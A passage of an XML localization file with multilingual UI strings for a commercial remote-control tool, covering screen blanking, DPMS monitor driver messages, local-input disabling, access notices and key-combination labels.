<zh>继续远程控制会话而不使屏幕黑屏。请注意,此计算机前的人员可能会看到您的远程控制会话。</zh>
<ko>화면을 비우지 않고 원격 제어 세션을 계속합니다. 컴퓨터에 있는 다른 사용자가 사용자의 원격 제어 세션을 관찰할 수도 있습니다.</ko>
<en-gb>Continue your remote control session without blanking the screen. Note that your remote control session might be observed by people present at the computer.</en-gb>
<hu>A távvezérlési munkamenet folytatása a képernyő kikapcsolása nélkül. Ne feledje, hogy az Ön távvezérlési munkamenetét a számítógép mellett levő személyek figyelemmel kísérhetik.</hu>
<pt-br>Continue a sessão de controle remoto sem deixar a tela em branco. Observe que a sessão de controle remoto pode ser observada por pessoas presentes no computador.</pt-br>
<nl>Doorgaan met uw sessie voor besturing op afstand zonder het beeldscherm uit te schakelen. Let wel dat uw sessie voor besturing op afstand mogelijk visueel kan worden gevolgd door personen die aan de computer zitten.</nl>
</msg>
<msg name="LINE5">
<en>Alternatively you can end your remote control session now to prevent others from potentially watching you work.</en>
<de>Alternativ können sie jetzt die Fernsteuerung beenden, um zu verhindern, dass ihnen andere Leute bei der Arbeit zuschauen.</de>
<es>También puede optar por finalizar la sesión de control remoto ahora si desea asegurarse de que otros usuarios no ven su trabajo.</es>
<fr>Alternativement vous pouvez mettre fin à votre session de connexion à distance maintenant pour ne pas donner l'opportunité à des personnes d'observer votre travail.</fr>
<it>In alternativa è possibile terminare la sessione di controllo remoto per impedire ad altri utenti di osservare le operazioni eseguite.</it>
<ru>В качестве альтернативы можно завершить сеанс удаленного управления прямо сейчас, чтобы предотвратить возможное наблюдение за работой.</ru>
<ja>他人に作業を見られるのを避けたい場合には、今すぐリモート制御セッションを終了することもできます。</ja>
<zh>或者,您可以马上结束远程控制会话,以防止其他人看到您工作的可能性。</zh>
<ko>또는 다른 사용자가 사용자의 작업을 볼 수 없도록 원격 제어 세션을 지금 종료할 수 있습니다.</ko>
<en-gb>Alternatively you can end your remote control session now to prevent others from potentially watching you work.</en-gb>
<hu>Esetleg most befejezheti távvezérlési munkamenetét, hogy megakadályozzon másokat abban, hogy munkáját figyeljék.</hu>
<pt-br>Como alternativa, você pode encerrar a sessão de controle remoto agora para evitar que outras pessoas o vejam trabalhando.</pt-br>
<nl>Als u dat niet wenst, kunt u uw sessie voor besturing op afstand nu beëindigen om te voorkomen dat andere personen kunnen zien wat u doet.</nl>
</msg>
</cat>
<cat name="NOTFIXED">
<msg name="LINE1">
<en>
%PRODUCTNAME could not install the DPMS-enabled monitor driver. The screen was not blanked.\r\n\r\n
It is most likely because your monitor, video card, motherboard, or BIOS does not support this feature. In this case, check with your hardware vendor for details.\r\n\r\n
Remote control will continue to show the screen on the host computer.\r\n
</en>
<en-gb>
%PRODUCTNAME could not install the DPMS-enabled monitor driver. The screen was not blanked.\r\n\r\n
It is most likely because your monitor, video card, motherboard, or BIOS does not support this feature. In this case, check with your hardware vendor for details.\r\n\r\n
Remote control will continue to show the screen on the host computer.\r\n
</en-gb>
<fr>
%PRODUCTNAME n'a pas pu installer le pilote d'écran compatible DPMS. L'écran n'a pas été occulté. \r\n\r\n
Votre écran, carte vidéo, carte mère ou BIOS ne prend peut-être pas en charge cette fonctionnalité. Consultez le fabriquant de votre matériel pour en savoir plus. \r\n\r\n
Le contrôle à distance va continuer à afficher l'écran sur l'ordinateur hôte. \r\n
</fr>
<es>
%PRODUCTNAME no pudo instalar el driver DPMS del monitor. La pantalla no estaba en blanco. \r\n\r\n
Es muy probable que el monitor, la tarjeta de vídeo, la placa base o el BIOS no sea compatible con esta función. En ese caso, consulte con su proveedor de hardware para obtener más información. \r\n\r\n
El control remoto seguirá mostrando la pantalla en el ordenador host. \r\n
</es>
<de>
%PRODUCTNAME konnte den DPMS-fähigen Monitortreiber nicht installieren. Der Bildschirm wurde nicht ausgeblendet. \r\n\r\n
Der Grund dafür ist wahrscheinlich, dass Ihr Monitor, Ihre Grafikkarte, Ihr Motherboard oder das BIOS diese Funktion nicht unterstützen. Bitte fragen Sie in diesem Fall bei Ihrem Hardware-Anbieter nach. \r\n\r\n
Der Bildschirm des Hostcomputers ist während der Fernsteuerung weiterhin sichtbar. \r\n
</de>
<it>
%PRODUCTNAME non ha eseguito l'installazione del driver del monitor DPMS. Il contenuto dello schermo non è stato cancellato. \r\n\r\n
È probabile che il monitor, la scheda video, la scheda madre o il BIOS non supporti questa funzione. In questo caso rivolgersi al proprio rivenditore di hardware. \r\n\r\n
Il controllo remoto continuerà a visualizzare lo schermo sul computer host. \r\n
</it>
<nl>
%PRODUCTNAME kon de DPMS-compatibele beeldschermstuurprogramma's niet installeren. Het beeldscherm is niet uitgeschakeld. \r\n\r\n
Dit komt waarschijnlijk doordat uw beeldscherm, videokaart, moederbord of BIOS deze functie niet ondersteund. In dat geval kunt u voor meer informatie terecht bij uw hardware-leverancier. \r\n\r\n
Via besturing op afstand blijft u het scherm op de hostcomputer zien. \r\n
</nl>
<pt-br>
O %PRODUCTNAME não pôde instalar o driver do monitor habilitado para DPMS. A tela não ficou em branco. \r\n\r\n
Provavelmente porque seu monitor, placa de vídeo, placa-mãe ou BIOS não são compatíveis com esse recurso. Neste caso, procure o fornecedor para saber mais detalhes. \r\n\r\n
O controle remoto continuará a mostrar a tela no computador host. \r\n
</pt-br>
<zh>
%PRODUCTNAME 无法安装已启用 DPMS 的显示器驱动程序。屏幕未置为空白。 \r\n\r\n
很可能是因为您的显示器、显卡、主板或 BIOS 不支持此只能。如果遇到了此问题,那么请咨询您的硬件供应商以了解详细信息。 \r\n\r\n
远程控制将继续显示主机屏幕。 \r\n
</zh>
<ru>
%PRODUCTNAME не удалось установить драйвер монитора с поддержкой DPMS. Экран не был очищен. \r\n\r\n
Скорее всего, монитор, видеокарта, материнская плата или BIOS не поддерживает эту функцию. В этом случае проконсультируйтесь с продавцом оборудования. \r\n\r\n
Ход сеанса удаленного управления будет виден на экране хост-компьютера. \r\n
</ru>
<ja>
%PRODUCTNAME は DPMS 対応のモニタ ドライバをインストールできませんでした。 画面は消去されませんでした。 \r\n\r\n
原因としては、モニタ、ビデオ カード、マザーボード、または BIOS がこの機能をサポートしていないことが考えられます。 その場合は、ハードウェアの販売元に詳細を確認してください。 \r\n\r\n
リモート制御はホスト コンピュータ上の画面の表示を続行します。 \r\n
</ja>
<ko>
%PRODUCTNAME은(는) DPMS 지원 모니터 드라이버를 설치할 수 없습니다. 화면이 비어 있지 않습니다. \r\n\r\n
그 이유는 모니터, 비디오 카드, 마더보드 또는 BIOS가 이 기능을 지원하지 않기 때문입니다. 이런 경우 자세한 정보를 보려면 하드웨어 공급업체에 문의하세요. \r\n\r\n
원격 제어는 호스트 컴퓨터에서 화면을 계속 표시합니다. \r\n
</ko>
<hu>
A %PRODUCTNAME nem tudta telepíteni a DPMS-támogatással ellátott képernyő-illesztőprogramot. A képernyő nincs kikapcsolva. \r\n\r\n
Valószínűleg a monitor, a videokártya, az alaplap vagy a BIOS nem támogatja ezt a funkciót. Ezzel kapcsolatban érdeklődjön hardverforgalmazójánál. \r\n\r\n
A képernyő távvezérlés közben továbbra is látható lesz a gazdagépen. \r\n
</hu>
</msg>
</cat>
<cat name="LOOPBACK">
<msg name="LINE1">
<en>The monitor attached to the host computer was not turned off, as %PRODUCTNAME detected that you are remote controlling the computer you're physically using.</en>
<de>Der Monitor am Host-Computer war nicht abgeschaltet, als %PRODUCTNAME entdeckte, dass sie den Computer fernbedienen, den sie gerade verwenden.</de>
<es>El monitor vinculado al ordenador host no se desactivó porque %PRODUCTNAME detectó que está controlando de forma remota el ordenador que está utilizando físicamente.</es>
<fr>L'écran de l'ordinateur principal n'a pas été éteint, car %PRODUCTNAME a détecté que vous êtes en train d'avoir une connexion à distance sur l'ordinateur que vous utilisez physiquement.</fr>
<it>Il monitor collegato al computer host non è stato spento in quanto %PRODUCTNAME ha rilevato che il controllo remoto viene effettuato dal computer attualmente in uso.</it>
<ru>Монитор, подключенный к данному хост-компьютеру, не был выключен, так как %PRODUCTNAME обнаружил, что вы удаленно управляете компьютером, который физически используете в данный момент.</ru>
<ja>直接操作しているコンピュータがリモート制御されていることを %PRODUCTNAME が検出したため、ホスト コンピュータに接続されたモニタはオフになりませんでした。</ja>
<zh>没有关闭连接至主机的显示器,因为 %PRODUCTNAME 检测到您正在远程控制实际使用的计算机。</zh>
<ko>%PRODUCTNAME이(가) 실제로 사용 중인 컴퓨터를 원격 제어하고 있음을 감지했지만, 호스트 컴퓨터에 연결된 모니터가 꺼지지 않았습니다.</ko>
<en-gb>The monitor attached to the host computer was not turned off, as %PRODUCTNAME detected that you are remote controlling the computer you're physically using.</en-gb>
<hu>A gazdagéphez csatlakoztatott képernyő nem kapcsolódott ki, mivel a %PRODUCTNAME észlelte, hogy Ön ugyanazt a számítógépet távvezérli, amelyet fizikailag is használ.</hu>
<pt-br>O monitor acoplado ao computador host não foi desligado, pois o %PRODUCTNAME detectou que você está controlando remotamente o computador que está usando fisicamente.</pt-br>
<nl>Het beeldscherm dat op de hostcomputer is aangesloten, is niet fysiek uitgeschakeld, omdat %PRODUCTNAME heeft vastgesteld dat de computer waarop u zit te werken ook door u op afstand wordt bestuurd.</nl>
</msg>
<msg name="LINE2">
<en>If you're accessing this computer over an SSH tunnel or a similar port forwarding application this message might be in error, in which case you can safely blank the screen.</en>
<de>Wenn sie auf den Computer über einen SSH Tunnel oder über eine ähnlich Port Forwarding Anwendung zugreifen, erscheint diese Meldung möglicherweise. In dem Fall können sie beruhigt den Bildschirm abschalten.</de>
<es>Si está accediendo a este ordenador mediante un túnel SSH o una aplicación de reenvío de puerto similar, este mensaje podría no ser correcto, con lo cual puede dejar sin contenidos la pantalla sin problemas.</es>
<fr>Si vous accédez à cet ordinateur par un tunnel SSH ou une application de redirecion semblable, ce message pourrait être une erreur, dans ce cas vous pouvez sans risque masquez l'écran.</fr>
<it>Se si accede al computer attraverso un tunnel SSH o un'analoga applicazione di inoltro delle porte, questo messaggio potrebbe essere errato; in questo caso, è possibile cancellare il contenuto dello schermo senza problemi.</it>
<ru>В случае доступа к данному компьютеру по SSH-туннелю или с помощью подобного приложения переправления портов это сообщение может быть ошибочным. В этом случае экран можно очистить.</ru>
<ja>SSH トンネルまたは類似のポート転送アプリケーションを使ってこのコンピュータにアクセスしている場合は、このメッセージはエラーである可能性があります。その場合、安全に画面を空白表示できます。</ja>
<zh>如果您通过 SSH 隧道或类似的端口转发应用程序访问此计算机,则此信息可能是错误的,这种情况下您可以安全地使屏幕黑屏。</zh>
<ko>SSH 터널 또는 유사한 포트 전달 응용 프로그램을 통해 이 컴퓨터에 액세스할 경우 이 메시지에 오류가 있을 수 있으며 이런 경우 안전하게 화면을 비울 수 있습니다.</ko>
<en-gb>If you're accessing this computer over an SSH tunnel or a similar port forwarding application, this message might be in error, in which case you can safely blank the screen.</en-gb>
<hu>Ha ezt a számítógépet egy SSH alagúton, vagy ehhez hasonló port-átirányítási alkalmazáson keresztül éri el, akkor ez az üzenet téves lehet, és ebben az esetben Ön biztonságosan kikapcsolhatja a képernyőt.</hu>
<pt-br>Se estiver acessando este computador por um encapsulamento SSH ou um aplicativo de encaminhamento de porta similar, esta mensagem pode ser um erro, caso em que deve colocar a tela em branco com segurança.</pt-br>
<nl>Als u toegang krijgt tot deze computer via een SSH-tunnel of een gelijksoortige toepassing voor poorttoewijzing, verschijnt deze melding mogelijk ter vergissing en kunt u het beeldscherm veilig uitschakelen.</nl>
</msg>
</cat>
<cat name="KBDLOOPBACK">
<msg name="LINE1">
<en>The keyboard and mouse attached to the host computer was not disabled, as %PRODUCTNAME detected that you are remote controlling the computer you're physically using.</en>
<de>Die an dem Host-Computer angeschlossene Tastatur und Maus war nicht deaktiviert, da %PRODUCTNAME festgestellt hat, dass Sie den Computer, den Sie physikalisch benutzen, fernsteuern.</de>
<es>El teclado y el ratón vinculados al ordenador host no se deshabilitaron porque %PRODUCTNAME detectó que está controlando de forma remota el ordenador que está utilizando físicamente.</es>
<fr>Le clavier et la souris connectés à l'ordinateur hôte n'ont pas été désactivés car %PRODUCTNAME a détecté que vous contrôlez à distance l'ordinateur que vous utilisez.</fr>
<it>La tastiera e il mouse collegati al computer host non sono stati disattivati in quanto %PRODUCTNAME ha rilevato che il controllo remoto viene effettuato sul computer attualmente in uso.</it>
<ru>Клавиатура и мышь, подключенные к данному хост-компьютеру, не были отключены, так как %PRODUCTNAME обнаружил, что вы удаленно управляете компьютером, который физически используете в данный момент.</ru>
<ja>直接操作しているコンピュータがリモート制御されていることを %PRODUCTNAME が検出したため、ホスト コンピュータに接続されたキーボードおよびマウスは無効になりませんでした。</ja>
<zh>没有禁用连接至主机的键盘和鼠标,因为 %PRODUCTNAME 检测到您正在远程控制实际使用的计算机。</zh>
<ko>%PRODUCTNAME이(가) 실제로 사용 중인 컴퓨터를 원격 제어하고 있음을 감지했지만, 호스트 컴퓨터에 연결된 키보드 및 마우스가 비활성화되지 않았습니다.</ko>
<en-gb>The keyboard and mouse attached to the host computer was not disabled, as %PRODUCTNAME detected that you are remote controlling the computer you're physically using.</en-gb>
<hu>A gazdagéphez csatlakoztatott billentyűzet és egér nem kapcsolódott ki, mivel a %PRODUCTNAME észlelte, hogy Ön ugyanazt a számítógépet távvezérli, amelyet fizikailag is használ.</hu>
<pt-br>O teclado e o mouse acoplados ao computador host não foram desabilitados, pois o %PRODUCTNAME detectou que você está controlando remotamente o computador que está usando fisicamente.</pt-br>
<nl>Het toetsenbord en de muis die op de hostcomputer zijn aangesloten, zijn niet uitgeschakeld, omdat %PRODUCTNAME heeft vastgesteld dat de computer waarop u zit te werken ook door u op afstand wordt bestuurd.</nl>
</msg>
<msg name="LINE2">
<en>If you're accessing this computer over an SSH tunnel or a similar port forwarding application this message might be in error, in which case you can safely disable local input.</en>
<de>Wenn Sie auf diesen Computer über einen SSH-Tunnel oder eine ähnliche  Verbindung zugreifen, ist diese Meldung möglicherweise unnötig. In diesem Fall ist es sicher, die lokale Eingabe zu deaktivieren.</de>
<es>Si está accediendo a este ordenador mediante un túnel SSH o una aplicación de reenvío de puerto similar, este mensaje podría no ser correcto, con lo cual puede deshabilitar de forma segura la entrada local.</es>
<fr>Si vous accédez à cet ordinateur via un tunnel SSH ou une application de transfert de port similaire, il est possible que ce message soit une erreur, auquel cas vous pouvez désactiver l'entrée locale en toute sécurité.</fr>
<it>Se si accede al computer attraverso un tunnel SSH o un'analoga applicazione di inoltro delle porte, questo messaggio potrebbe essere errato; in questo caso, è possibile disattivare l'input locale senza problemi.</it>
<ru>В случае доступа к данному компьютеру по SSH-туннелю или с помощью подобного приложения переправления портов это сообщение может быть ошибочным. В этом случае средства локального ввода можно отключить.</ru>
<ja>SSH トンネルまたは同等のポート転送アプリケーションを使ってこのコンピュータにアクセスしている場合は、このメッセージはエラーである可能性があります。その場合は、ローカル入力を無効にしても構いません。</ja>
<zh>如果您通过 SSH 隧道或类似的端口转发应用程序访问此计算机,则此信息可能是错误的,这种情况下,您可以安全地禁用本地输入。</zh>
<ko>SSH 터널 또는 유사한 포트 전달 응용 프로그램을 통해 이 컴퓨터에 액세스할 경우 이 메시지에 오류가 있을 수 있으며 이런 경우 안전하게 로컬 입력을 중단할 수 있습니다.</ko>
<en-gb>If you're accessing this computer over an SSH tunnel or a similar port forwarding application, this message might be in error, in which case you can safely disable local input.</en-gb>
<hu>Ha ezt a számítógépet egy SSH alagúton, vagy ehhez hasonló port-átirányítási alkalmazáson keresztül éri el, akkor ez az üzenet téves lehet, és ebben az esetben Ön biztonságosan kikapcsolhatja a helyi bevitelt.</hu>
<pt-br>Se estiver acessando este computador por um encapsulamento SSH ou um aplicativo de encaminhamento de porta similar, esta mensagem pode ser um erro, caso em que deve desabilitar a entrada local com segurança.</pt-br>
<nl>Als u toegang krijgt tot deze computer via een SSH-tunnel of een gelijksoortige toepassing voor poorttoewijzing, verschijnt deze melding mogelijk ter vergissing en kunt u de invoerapparaten veilig uitschakelen.</nl>
</msg>
</cat>
<cat name="INTERACT">
<msg name="LINE1">
<en>%PRODUCTNAME is configured to blank the host computer's screen during a remote control session.</en>
<de>%PRODUCTNAME ist so konfiguriert, dass während der Fernsteuerung ein leerer Bildschirm am Host-Computer angezeigt wird.</de>
<es>%PRODUCTNAME está configurado para dejar sin contenidos la pantalla del ordenador host durante la sesión de control remoto.</es>
<fr>%PRODUCTNAME est configuré pour masquer l'écran de l'ordinateur hôte pendant une session de connexion à distance</fr>
<it>%PRODUCTNAME è configurato per cancellare il contenuto dello schermo del computer host durante una sessione di controllo remoto.</it>
<ru>%PRODUCTNAME настроен на очистку экрана хост-компьютера в течение сеанса удаленного управления.</ru>
<ja>%PRODUCTNAME は、リモート制御セッション中、ホスト コンピュータの画面を空白表示するように設定されています。</ja>
<zh>%PRODUCTNAME 配置为在远程控制会话中使主机屏幕黑屏。</zh>
<ko>%PRODUCTNAME은(는) 원격 제어 세션 중에 호스트 컴퓨터의 화면을 비우도록 구성되었습니다.</ko>
<en-gb>%PRODUCTNAME is configured to blank the host computer's screen during a remote control session.</en-gb>
<hu>A %PRODUCTNAME termék olyan módon van beállítva, hogy üres képernyőt mutasson a gazdagépen a távvezérlés munkamenete alatt.</hu>
<pt-br>O %PRODUCTNAME foi configurado para deixar a tela do computador host em branco durante uma sessão de controle remoto.</pt-br>
<nl>%PRODUCTNAME is geconfigureerd om het scherm van de hostcomputer uit te schakelen tijdens de sessie voor besturing op afstand.</nl>
</msg>
<msg name="LINE2">
<en>The monitor was not turned off, as your remote control session was authorized by a person physically present at the computer.</en>
<de>Der Monitor am Host-Computer war nicht abgeschaltet, als die Sitzung von einer Person erlaubt wurde, die gerade an dem Computer sitzt.</de>
<es>No se desactivó el monitor porque la sesión de control remoto fue autorizada por una persona que está delante del ordenador físicamente.</es>
<fr>L'écran n'a pas été éteint, parce que votre session de contrôle d'accès à distance a été autorisée par une personne physiquement présente devant l'ordinateur.</fr>
<it>Il monitor non è stato spento. La sessione di controllo remoto è stata autorizzata da una persona che si trova fisicamente davanti al computer.</it>
<ru>Монитор не был отключен, так как сеанс удаленного управления был авторизован пользователем, сидящим за компьютером.</ru>
<ja>リモート制御セッションはコンピュータを直接操作する人に認証されているため、モニタのスイッチは切られませんでした。</ja>
<zh>没有关闭显示器,因为您的远程控制会话由实际位于计算机前的人员授权。</zh>
<ko>원격 제어 세션이 컴퓨터 앞에 있는 다른 사용자에 의해 인증되었지만, 모니터가 꺼지지 않았습니다.</ko>
<en-gb>The monitor was not turned off, as your remote control session was authorised by a person physically present at the computer.</en-gb>
<hu>A képernyő nem kapcsolódott ki, mivel az Ön távvezérlési munkamenetét olyan személy engedélyezte, aki fizikailag a gép előtt van.</hu>
<pt-br>O monitor não foi desligado, pois a sua sessão de controle remoto foi autorizada por uma pessoa fisicamente presente no computador.</pt-br>
<nl>Het beeldscherm is echter niet uitgeschakeld, omdat de persoon die toestemming heeft gegeven voor uw sessie voor besturing op afstand voor de computer zit.</nl>
</msg>
</cat>
<cat name="FIXED">
<msg name="LINE1">
<en>%PRODUCTNAME successfully re-installed the DPMS-enabled monitor driver and has blanked the host computer's screen.</en>
<de>%PRODUCTNAME installierte den DPMS-fähigen Monitortreiber erfolgreich und zeigt jetzt einen leeren Bildschirm am Host-Computer an.</de>
<es>%PRODUCTNAME ha instalado de nuevo el controlador DPMS del monitor y ha dejado sin contenidos la pantalla del ordenador host.</es>
<fr>%PRODUCTNAME a réinstallé avec succès le pilote d'écranDPMS-actif et a masqué l'écran de l'ordinateur hôte.</fr>
<it>%PRODUCTNAME ha reinstallato il driver del monitor DPMS e ha cancellato il contenuto dello schermo del computer host.</it>
<ru>%PRODUCTNAME успешно переустановил драйвер монитора с поддержкой DPMS и очистил экран хост-компьютера.</ru>
<ja>%PRODUCTNAME は、DPMS 対応のモニタ ドライバの再インストールに成功し、ホスト コンピュータの画面を空白表示にしました。</ja>
<zh>%PRODUCTNAME 已成功重新安装启用 DPMS 的显示器驱动程序,并且已使主机屏幕黑屏。</zh>
<ko>%PRODUCTNAME이(가) DPMS 지원 모니터 드라이버를 다시 설치했으며 호스트 컴퓨터의 화면을 비웠습니다.</ko>
<en-gb>%PRODUCTNAME successfully re-installed the DPMS-enabled monitor driver and has blanked the host computer's screen.</en-gb>
<hu>A %PRODUCTNAME sikeresen újratelepítette a DPMS támogatással rendelkező képernyő-illesztőprogramot és kikapcsolta a gazdagép képernyőjét.</hu>
<pt-br>O %PRODUCTNAME reinstalou com êxito o driver do monitor habilitado para DPMS e colocou a tela do computador host em branco.</pt-br>
<nl>%PRODUCTNAME heeft het DPMS-compatibele beeldschermstuurprogramma opnieuw geïnstalleerd en het beeldscherm van de hostcomputer uitgeschakeld.</nl>
</msg>
</cat>
<cat name="WAIT">
<msg name="LINE1">
<en>Please wait...</en>
<de>Bitte warten ...</de>
<es>Espere...</es>
<fr>Veuillez patienter svp...</fr>
<it>Attendere...</it>
<ru>Подождите...</ru>
<ja>お待ちください...</ja>
<zh>请稍候...</zh>
<ko>잠시 기다려 주십시오...</ko>
<en-gb>Please wait...</en-gb>
<hu>Kérem, várjon...</hu>
<pt-br>Aguarde...</pt-br>
<nl>Een ogenblik geduld...</nl>
</msg>
</cat>
<cat name="BUTTONS">
<msg name="FIX">
<en>Install</en>
<de>Installieren</de>
<es>Instalar</es>
<fr>Fix</fr>
<it>Installa</it>
<ru>Установить</ru>
<ja>インストール</ja>
<zh>安装</zh>
<ko>설치</ko>
<en-gb>Install</en-gb>
<hu>Telepítés</hu>
<pt-br>Instalar</pt-br>
<nl>Installeren</nl>
</msg>
<msg name="IGNORE">
<en>Ignore</en>
<de>Ignorieren</de>
<es>Ignorar</es>
<fr>Ignore</fr>
<it>Ignora</it>
<ru>Игнорировать</ru>
<ja>無視</ja>
<zh>忽略</zh>
<ko>무시</ko>
<en-gb>Ignore</en-gb>
<hu>Mellőzés</hu>
<pt-br>Ignorar</pt-br>
<nl>Negeren</nl>
</msg>
<msg name="BLANKSCREEN">
<en>Blank screen</en>
<de>Leeren Bildschirm anzeigen</de>
<es>Pantalla sin contenido</es>
<fr>Ecran masqué</fr>
<it>Cancella contenuto dello schermo</it>
<ru>Очистить экран</ru>
<ja>空白画面</ja>
<zh>黑屏</zh>
<ko>빈 화면</ko>
<en-gb>Blank screen</en-gb>
<hu>Üres képernyő</hu>
<pt-br>Tela em branco</pt-br>
<nl>Scherm uitschakelen</nl>
</msg>
<msg name="DISABLEINPUT">
<en>Disable input</en>
<es>Deshabilitar entrada</es>
<de>Eingabe deaktivieren</de>
<fr>Désactiver entrée</fr>
<it>Disattiva input</it>
<ru>Отключить средства ввода</ru>
<ja>入力を無効にする</ja>
<zh>禁用输入</zh>
<ko>입력 불가능</ko>
<en-gb>Disable input</en-gb>
<hu>Bevitel kikapcsolása</hu>
<pt-br>Desabilitar entrada</pt-br>
<nl>Invoerapparaten uitschakelen</nl>
</msg>
<msg name="OK">
<en>OK</en>
<de>OK</de>
<es>Aceptar</es>
<fr>OK</fr>
<it>OK</it>
<ru>OK</ru>
<ja>OK</ja>
<zh>确定</zh>
<ko>확인</ko>
<en-gb>OK</en-gb>
<hu>OK</hu>
<pt-br>OK</pt-br>
<nl>OK</nl>
</msg>
</cat>
</cat>
<msg name="ACCESSGRANTED_REMCTRL">
<en>MSG\n
You can remote control this computer.\n\n</en>
<de>MSG\n
Sie können diesen Rechner fernbedienen.\n\n</de>
<es>MSG\n
Puede controlar remotamente este ordenador.\n\n</es>
<fr>MSG\n
Vous ne pouvez pas prendre le contrôle d'accès à distance sur cet ordinateur.\n\n</fr>
<it>MSG\n
È possibile controllare in remoto il computer.\n\n</it>
<ru>MSG\n
Данный компьютер доступен для удаленного управления.\n\n</ru>
<ja>MSG\n このコンピュータをリモート制御することができます。\n\n</ja>
<zh>MSG\n
您可以远程控制此计算机。\n\n</zh>
<ko>MSG\n
이 컴퓨터를 원격 제어할 수 있습니다.\n\n</ko>
<en-gb>MSG\n
You can remote control this computer.\n\n</en-gb>
<hu>MSG\n
Ön távvezérelheti ezt a számítógépet.\n\n</hu>
<pt-br>MSG\n
Você pode controlar este computador remotamente.\n\n</pt-br>
<nl>MSG\n     U kunt deze computer nu op afstand besturen.\n\n</nl>
</msg>
<msg name="ACCESSGRANTED_VIEWONLY">
<en>MSG\n
You can only monitor the desktop.\n\n</en>
<de>MSG\n
Sie können diesen Computer nur überwachen.\n\n</de>
<es>MSG\n
Sólo puede controlar el escritorio.\n\n</es>
<fr>MSG\n
Vous ne pouvez que voir le bureau distant\n\n</fr>
<it>MSG\n
È possibile monitorare solo il desktop.\n\n</it>
<ru>MSG\n
Можно наблюдать только за рабочим столом.\n\n</ru>
<ja>MSG\n デスクトップの監視のみ可能です。\n\n</ja>
<zh>MSG\n
您只能监视桌面。\n\n</zh>
<ko>MSG\n
데스크톱을 모니터만 할 수 있습니다.\n\n</ko>
<en-gb>MSG\n
You can only monitor the desktop.\n\n</en-gb>
<hu>MSG\n
Ön csak az asztalt figyelheti.\n\n</hu>
<pt-br>MSG\n
Você só pode monitorar o desktop.\n\n</pt-br>
<nl>MSG\n U kunt alleen het bureaublad controleren.\n\n</nl>
</msg>
<msg name="CONSOLEFAILINIT">
<en>Failed to initialize console window.</en>
<de>Fehler: Konnte das Fenster der Console nicht initialisieren.</de>
<es>Error al iniciar la consola.</es>
<fr>Echec d'initialisation de la fenêtre de console.</fr>
<it>Inizializzazione della finestra della console non riuscita.</it>
<ru>Не удалось инициализировать окно консоли.</ru>
<ja>コンソール ウィンドウの初期化に失敗しました。</ja>
<zh>初始化控制台窗口失败。</zh>
<ko>콘솔 창을 초기화하지 못했습니다.</ko>
<en-gb>Failed to initialise console window.</en-gb>
<hu>Nem sikerült inicializálni a konzolablakot.</hu>
<pt-br>Falha ao inicializar a janela do console.</pt-br>
<nl>De initialisatie van het consolevenster is mislukt.</nl>
</msg>
<!-- REMCTRL.FLASH special strings used by Flash Remote Control Client -->
<cat name="FLASH">
<msg name="SENDKEYS.TITLE">
<en>Send Special Key Combinations</en>
<es>Enviar combinaciones de teclas especiales</es>
<de>Spezielle Tastenkombinationen senden</de>
<fr>Envoyer une combinaison de touches</fr>
<it>Invia combinazioni di tasti speciali</it>
<ru>Отправить специальные комбинации клавиш</ru>
<ja>特殊キーの組み合わせの送信</ja>
<zh>发送特殊组合键</zh>
<ko>특수 키 조합 보내기</ko>
<en-gb>Send Special Key Combinations</en-gb>
<hu>Speciális billentyűkombinációk küldése</hu>
<pt-br>Enviar combinações de teclas especiais</pt-br>
<nl>Speciale toetsencombinaties versturen</nl>
</msg>
<msg name="SENDKEYS.TOOLTIP.BODY">
<en>Send special key combinations to the host computer.</en>
<es>Enviar combinaciones de teclas especiales al ordenador host.</es>
<de>Sie können spezielle Tastenkombinationen an den Hostcomputer senden.</de>
<fr>Envoyer une combinaison de touches à l'ordinateur hôte.</fr>
<it>Invia combinazioni di tasti speciali al computer host.</it>
<ru>Отправить специальные комбинации клавиш на хост-компьютер.</ru>
<ja>ホスト コンピュータに特殊キーの組み合わせを送信します。</ja>
<zh>将特殊组合键发送到主机。</zh>
<ko>호스트 컴퓨터에 특수 키 조합 보내기</ko>
<en-gb>Send special key combinations to the host computer.</en-gb>
<hu>Speciális billentyűkombinációk küldése a gazdagéphez.</hu>
<pt-br>Enviar combinações de teclas especiais para o computador host.</pt-br>
<nl>Speciale toetsencombinaties naar de hostcomputer versturen.</nl>
</msg>
<msg name="SENDKEYS.CTRLFN">
<en>More CTRL Combinations</en>
<es>Más combinaciones con CTRL</es>
<de>Weitere Kombinationen mit der Strg-Taste</de>
<fr>Autres combinaisons CTRL</fr>
<it>Altre combinazioni con il tasto CTRL</it>
<ru>Дополнительные комбинации с клавишей CTRL</ru>
<ja>これ以外の Ctrl キーの組み合わせ</ja>
<zh>更多 CTRL 组合键</zh>
<ko>추가 CTRL 조합</ko>
<en-gb>More CTRL Combinations</en-gb>
<hu>További CTRL-kombinációk</hu>
<pt-br>Mais combinações de CTRL</pt-br>
<nl>Meer CTRL-combinaties</nl>
</msg>
<msg name="SENDKEYS.ALTFN">
<en>More ALT Combinations</en>
<es>Más combinaciones con ALT</es>
<de>Weitere Kombinationen mit der Alt-Taste</de>
<fr>Autres combinaisons ALT</fr>
<it>Altre combinazioni con il tasto ALT</it>
<ru>Дополнительные комбинации с клавишей ALT</ru>
<ja>これ以外の Alt キーの組み合わせ</ja>
<zh>更多 ALT 组合键</zh>
<ko>추가 ALT 조합</ko>
<en-gb>More ALT Combinations</en-gb>
<hu>További ALT-kombinációk</hu>
<pt-br>Mais combinações de ALT</pt-br>
<nl>Meer ALT-combinaties</nl>
</msg>
<msg name="SENDKEYS.SHIFTFN">
<en>More SHIFT Combinations</en>
<es>Más combinaciones con MAYÚS</es>
<de>Weitere Kombinationen mit der Umschalttaste</de>
<fr>Autre combinaisons MAJ</fr>
<it>Altre combinazioni con il tasto MAIUSC</it>
<ru>Дополнительные комбинации с клавишей SHIFT</ru>
<ja>これ以外の Shift キーの組み合わせ</ja>
<zh>更多 SHIFT 组合键</zh>
<ko>추가 SHIFT 조합</ko>
<en-gb>More SHIFT Combinations</en-gb>
<hu>További SHIFT-kombinációk</hu>
<pt-br>Mais combinações de SHIFT</pt-br>
<nl>Meer SHIFT-combinaties</nl>
</msg>
<msg name="TRANSFERCLIPBOARD.TITLE">
<en>Transfer Clipboard</en>
<de>Zwischenablage übertragen</de>
<es>Transferir portapapeles</es>
<fr>Transfert du presse-papier</fr>
<it>Trasferisci Appunti</it>
<ru>Передать содержимое буфера обмена</ru>
<ja>クリップボードを転送</ja>
<zh>传递剪贴板</zh>
<ko>클립보드 전송</ko>
<en-gb>Transfer Clipboard</en-gb>
<hu>Vágólap átvitele</hu>
